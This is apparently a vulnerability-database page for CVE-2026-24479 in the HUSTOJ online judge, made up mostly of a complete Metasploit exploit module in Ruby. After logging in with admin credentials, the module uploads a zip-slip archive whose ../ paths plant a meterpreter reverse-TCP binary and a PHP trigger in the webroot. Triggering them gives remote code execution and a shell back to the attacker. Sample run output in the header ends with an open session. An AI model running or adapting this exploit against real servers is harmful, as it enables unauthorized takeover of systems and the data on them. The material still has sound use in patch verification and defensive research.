| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-24479 | 27 Jan 202600:43 | – | attackerkb | |
| CVE-2026-24479 | 27 Jan 202603:47 | – | circl | |
| HUSTOJ Path Traversal Vulnerability | 27 Jan 202600:00 | – | cnnvd | |
| CVE-2026-24479 | 27 Jan 202600:43 | – | cve | |
| CVE-2026-24479 HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE | 27 Jan 202600:43 | – | cvelist | |
| HUSTOJ Zip-Slip v26.01.24 - RCE | 30 Apr 202600:00 | – | exploitdb | |
| EUVD-2026-4836 | 27 Jan 202600:43 | – | euvd | |
| HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE | 15 May 202619:01 | – | metasploit | |
| CVE-2026-24479 | 27 Jan 202601:16 | – | nvd | |
| CVE-2026-24479 HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE | 27 Jan 202600:43 | – | osv |
# Exploit Title: HUSTOJ Zip-Slip v26.01.24 - RCE
# Date: 2026-02-14
# Exploit Author: Marshall Whittaker / oxagast
# Vendor Homepage: https://github.com/zhblue/hustoj
# Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso
(LiveCD, or see above git repo)
# Version: Before v26.01.24
# Tested on: Ubuntu
# CVE: CVE-2026-24479
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# This payload is configured for:
# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
# Patch:
# $file_name = $path.zip_entry_name($dir_resource);
# $file_name=str_replace('../', '', $file_name);
# $file_path = substr($file_name,0,strrpos($file_name, "/"));
#
# msf exploit(local/test/hustoj_problem_import_rce) > exploit
# [*] Started reverse TCP handler on 10.0.1.35:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] The target is vulnerable.
# [+] Payload generated!
# [*] Random payload tag is: 886b0 ...
# [+] Zip file generated!
# [+] Connected to the target webserver!
# [+] Logged in successfully!
# [*] Checking if this account has administrative privileges...
# [+] This is an admin account!
# [*] Uploading the payload...
# [+] Accessed the problem import page!
# [+] Payload uploaded!...
# [*] Waiting on files to be extracted serverside...
# [*] This is where the zipslip happens...
# [*] Triggering the php script...
# [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
# [*] Cleaning up the payload caller and shell files...
# [+] Boom!! Have fun!
#
# meterpreter >
#
#
require 'msf/core'
require 'nokogiri'
require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'Authenticated admin can upload crafted zip file for RCE',
'Description' => <<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
webroot, where they can extract a PHP file containing a shell to get full RCE in the
context of the webserver.
DESC
'Author' => [
'Marshall Whittaker',
'LoTuS and friends',
'ling101w'
],
'License' => MSF_LICENSE,
'ARCH' => [ARCH_X86],
'References' => [
['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
'/CVE-2026-24479/hustoj_problem_import_rce.rb'],
['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
'6899314b33101f'],
['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
['CVE', '2026-24479'],
['CWE', '22']
],
'Platform' => 'linux',
'Targets' => [
[
'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
{ 'Privileged' => false }
]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DisclosureDate' => '2026-01-26',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
Opt::LPORT(4444),
OptString.new('RHOST', [true, "The target machine's IP", '']),
OptString.new('LHOST', [true, "This machine's IP", '']),
OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),
OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),
OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])
], self.class
)
register_advanced_options([
OptBool.new('HANDLER',
[true, 'Start an exploit/multi/handler job to receive the connection',
true])
])
deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
end
# Check if the target is likely vulnerable
def check
res = send_request_cgi(
'uri' => '/include/reinfo.js',
'method' => 'GET',
'ctype' => 'application/javascript'
)
return Exploit::CheckCode::Unknown if res.nil?
return Exploit::CheckCode::Appears if res.code != 200
return Exploit::CheckCode::Detected if res.code == 200 &&
res.body.include?('function escapeHtml(str) {')
return Exploit::CheckCode::Vulnerable if res.code == 200 &&
!res.body.include?('function escapeHtml(str) {')
Exploit::CheckCode::Safe
end
# Authenticate as admin and return session cookies
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
}, 3
)
if res && res.code == 200
print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}")
else
fail_with(
Failure::Unreachable,
'Failed to connect to the target webserver!'
)
end
cook = res.get_cookies
send_request_cgi(
'uri' => '/csrf.php',
'cookies' => cook,
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
)
send_request_cgi(
'uri' => '/loginpage.php',
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
)
res = send_request_cgi(
'uri' => '/csrf.php',
'cookies' => cook,
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
)
doc = Nokogiri::HTML(res.body)
csrf = doc.css('input[name="csrf"]').first['value']
send_request_cgi(
'method' => 'POST',
'uri' => '/login.php',
'cookies' => cook,
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'user_id' => user,
'password' => Digest::MD5.hexdigest(pass),
'csrf' => csrf
}
)
# Check if login was successful
res = send_request_cgi(
'method' => 'GET',
'uri' => '/modifypage.php',
'cookies' => cook,
'keep_cookies' => true
)
if res && res.code == 200 && res.body.include?('userinfo.php')
stars = '*' * pass.length
print_good("Logged in successfully! #{user}:#{stars}")
else
fail_with(
Failure::BadConfig,
'Failed to authenticate! Check credentials.'
)
end
# Check if the account has admin privileges
res = send_request_cgi(
'method' => 'GET',
'uri' => '/admin/menu2.php',
'cookies' => cook,
'keep_cookies' => true
)
if res && res.code == 200 && res.body.include?('problem_import.php')
print_good('This is an admin account! res.body includes problem_import.php')
else
print_error('This does not appear to be an admin account! Attempting to continue,')
print_error(' but the exploit may fail at the payload upload stage...')
end
cook
end
# Upload the malicious zip payload using the admin session
def upload_payload(zip_dat, rand_tag, cook, dds)
zip_size_kb = (zip_dat.length / 1024.0).round(2)
print_status("Uploading the payload... #{zip_size_kb}kb")
# Access the problem import page to get the postkey
res = send_request_cgi(
'method' => 'GET',
'cookies' => cook,
'uri' => '/admin/problem_import.php',
'keep_cookies' => true,
'ctype' => 'text/html'
)
if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')
print_good('Accessed the problem import page! /admin/problem_import.php')
else
fail_with(
Failure::UnexpectedReply,
'Failed to access the problem import page!'
)
end
doc = Nokogiri::HTML(res.body)
postkey_input = doc.at_css('input[name="postkey"]')
postkey = postkey_input ? postkey_input['value'] : nil
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?
form_boundary = "----WebKitFormBoundary#{rand_tag}"
form_data = <<~FORMDATA
--#{form_boundary}
Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}
--#{form_boundary}
Content-Disposition: form-data; name=postkey
#{postkey}
--#{form_boundary}--
FORMDATA
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'cookies' => cook,
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_boundary}",
'data' => form_data
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['dropfile']}.zip")
else
print_error('Failed to upload the payload, trying again for a different revision...')
form_data = <<~FORMDATA
--#{form_boundary}
Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}
--#{form_boundary}
FORMDATA
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'cookies' => cook,
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_boundary}",
'data' => form_data
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['dropfile']}.zip")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
end
end
print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['traverse_limit']})")
end
# Trigger the uploaded PHP shell to execute the payload
def trigger_sploit(rand_tag)
print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php")
send_request_raw(
{
'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php",
'ctype' => 'text/html',
'method' => 'GET'
},
datastore['TRIGGER_WAIT']
)
end
# Clean up dropped files after exploitation
def cleanup
super
send_request_raw(
{
'uri' => '/cleanup-msf.php',
'ctype' => 'text/html',
'method' => 'GET'
}
)
print_status('Cleaning up the payload caller and shell files...')
print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
end
# Main exploit logic
def exploit
# Generate the payload ELF binary
pay = framework.modules.create(datastore['payload'])
pay.datastore['LHOST'] = datastore['LHOST']
pay.datastore['RHOST'] = datastore['RHOST']
pay.datastore['LPORT'] = datastore['LPORT']
shell_gend = pay.generate_simple({ 'Format' => 'elf' })
if shell_gend == ''
fail_with(
Failure::PayloadFailed,
'Payload generation failed! Try a different payload?'
)
end
print_good("Payload generated! #{datastore['payload']}")
# Generate a random tag for file uniqueness
rand_tag = '%05x' % rand(0xfffff + 1)
print_status("Random payload tag #{rand_tag}")
# PHP script to call the ELF payload
shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"
# PHP script to clean up dropped files
cleanup_caller = "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" \
"-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"
dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
# Files to include in the malicious zip (zipslip paths for traversal)
files = [
{ data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },
{ data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },
{ data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" },
{ data: '{}', fname: 'problem_1010.json' },
{ data: '', fname: 'problem_1010/1.in' },
{ data: '', fname: 'problem_1010/1.out' }
]
# Create the malicious zip archive
zip_dat = Msf::Util::EXE.to_zip(files)
fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?
print_good("Zip file generated! Files: #{files.length}")
# Authenticate and upload the payload
cookies = login(datastore['USERNAME'], datastore['PASSWORD'])
upload_payload(zip_dat, rand_tag, cookies, dds)
# Trigger the PHP shell to execute the payload
trigger_sploit(rand_tag)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation